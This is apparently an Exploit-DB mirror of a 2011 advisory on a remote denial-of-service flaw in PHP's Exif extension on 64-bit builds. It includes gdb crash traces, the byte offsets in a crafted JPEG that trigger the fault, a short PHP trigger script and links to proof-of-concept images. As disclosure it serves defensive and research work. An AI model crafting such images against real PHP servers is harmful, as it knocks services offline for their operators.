PHP ‘Exif’ Extension – ‘exif_read_data()’ Remote Denial of Service

  • 作者: _ikki & paradoxengine
    日期: 2011-02-28
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    平台:
  • 来源:https://www.exploit-db.com/exploits/16261/
  • Source: http://permalink.gmane.org/gmane.comp.security.oss.general/4198
    
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    PHP Exif 64bit Casting Vulnerability
    =====================================================================
    
    Affected Software : PHP <= 5.3.5 (Exif extension for 64bit platforms)
    Severity: Low
    Local/Remote: Remote
    Author: @_ikki, @paradoxengine (blog.nibblesec.org)
    
    [Summary]
    
    PHP Exif extension allows developers to work with image metadata
    within their PHP code. For instance, using exif functions it is possible
    to read metadata from digital camera pictures.
    For further details on this file format, please refer to:
    http://www.media.mit.edu/pia/Research/deepview/exif.html
    
    PHP Exif extension for 64bit platforms is affected by a casting
    vulnerability that occurs during the image header parsing.
    According to our preliminary analysis, exploitation of this flaw results
    in Denial of Service.
    
    This vulnerability affects PHP 5.3.5 and likely all previous versions.
    During our analysis, we have successfully tested our PoC against PHP
    5.3.2, PHP 5.3.3 and the latest PHP release 5.3.5.
    
    Using the following configuration, a system is most likely vulnerable:
     (a) PHP 64bit version
     (b) PHP compiled with --enable-exif
     (c) memory_limit = -1
    
    [Vulnerability Details]
    
    In case of 64bit platforms, an improper conversion occurs within
    "/php-5.3.5/ext/exif/exif.c" at line 1100 (php_ifd_get32s) and 1118
    (php_ifd_get32u).
    
    In detail, an image having properly crafted Image File Directory (IFD)
    can be used to trigger a segmentation fault caused by a memory access
    violation:
    
    $ gdb ./sapi/cli/php
    GNU gdb 6.8-debian
    Copyright (C) 2008 Free Software Foundation, Inc.
    License GPLv3+: GNU GPL version 3 or later
    <http://gnu.org/licenses/gpl.html>
    This is free software: you are free to change and redistribute it.
    There is NO WARRANTY, to the extent permitted by law.Type "show
    copying"
    and "show warranty" for details.
    This GDB was configured as "x86_64-linux-gnu"...
    (gdb) run-c /etc/php5/cli/php.ini ../exif.php ../ihaterepeating2.jpeg
    Starting
    program: /archive/stuff/vulnsResearch/php_exif/php-5.3.5/sapi/cli/php
    -c /etc/php5/cli/php.ini ../exif.php ../ihaterepeating2.jpeg
    [Thread debugging using libthread_db enabled]
    
     --- start ../ihaterepeating2.jpeg ---
    
    [New Thread 0x7ff7d45a26e0 (LWP 10941)]
    
    Program received signal SIGSEGV, Segmentation fault.
    [Switching to Thread 0x7ff7d45a26e0 (LWP 10941)]
    0x000000000055e297 in php_ifd_get32s (value=0x2055000, motorola_intel=0)
    at /archive/stuff/vulnsResearch/php_exif/php-5.3.5/ext/exif/exif.c:1108
    1108return(((char*)value)[3] << 24)
    
    (gdb) backtrace
    #00x000000000055e297 in php_ifd_get32s (value=0x2055000,
    motorola_intel=0)
    at /archive/stuff/vulnsResearch/php_exif/php-5.3.5/ext/exif/exif.c:1108
    #10x000000000055e2f9 in php_ifd_get32u (value=0x2055000,
    motorola_intel=0)
    at /archive/stuff/vulnsResearch/php_exif/php-5.3.5/ext/exif/exif.c:1120
    #20x000000000055f37e in exif_iif_add_value
    (image_info=0x7fff68f4e0d0,
    section_index=13, name=0x7fff68f4d920 "UndefinedTag:0x0205", tag=517,
    format=5,
     length=536870913, value=0x2017124, motorola_intel=0) at
     /archive/stuff/vulnsResearch/php_exif/php-5.3.5/ext/exif/exif.c:1760
    #30x000000000055f4d1 in exif_iif_add_tag (image_info=0x7fff68f4e0d0,
    section_index=13, name=0x7fff68f4d920 "UndefinedTag:0x0205", tag=517,
    format=5,
     length=536870913, value=0x2017124) at
     /archive/stuff/vulnsResearch/php_exif/php-5.3.5/ext/exif/exif.c:1801
    #40x00000000005625a8 in exif_process_IFD_TAG
    (ImageInfo=0x7fff68f4e0d0,
    dir_entry=0x20170e8 "\005\002\005", offset_base=0x2016da0 "II*",
    IFDlength=7157,
    displacement=12, section_index=13, ReadNextIFD=0, tag_table=0x949740)
    at /archive/stuff/vulnsResearch/php_exif/php-5.3.5/ext/exif/exif.c:3115
    [...]
    
    Within the PoC image, bytes in position 358-35B can be used to craft
    the value of the 'components' variable (int) which is later used within
    memory read operations.
    
    Two cases appear to be interesting:
    
    {Case A - Negative value}
    $hexdump -C ihaterepeating.jpeg | grep -i "03 00 00 A0"
    results in "components=-1610612733"
    
    {Case B - Positive value}
    $hexdump -C ihaterepeating2.jpeg | grep -i "01 00 00 20"
    results in "components=536870913"
    Please note that 0x20 = 32dec
    
    As mentioned, the value of the 'components' variable is later computed
    in memory operations within another variable named 'length'.
    Such value is used in a for-loop instruction (line 1745) to read image
    metadata starting from a memory address.
    
    Although it is possible to control the offset, the following
    instructions (line 1671) limit such value to positive integers only.
    
     <-- cut here -->
    if (length < 0) {
     return;
    }
     <-- cut here -->
    
    Consequently it seems possible to oversize the expected value only,
    which results in a memory access violation.
    
    [Proof-Of-Concept]
    
    Two images (case A and B) have been properly crafted:
    http://www.ikkisoft.com/stuff/ihaterepeating.jpeg
    http://www.ikkisoft.com/stuff/ihaterepeating2.jpeg (SegFault)
    
    You may want to use this script to read exif data:
    
     <-- cut here -->
     <?php
    echo" --- start ---\n\n";
    exif_read_data($argv[1]);
    echo" --- end ---\n\n";
     ?>
     <-- cut here -->
    
    [Fix Information]
    
    n/a
    
    --
    Luca Carettoni
    PoC: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/16261.zip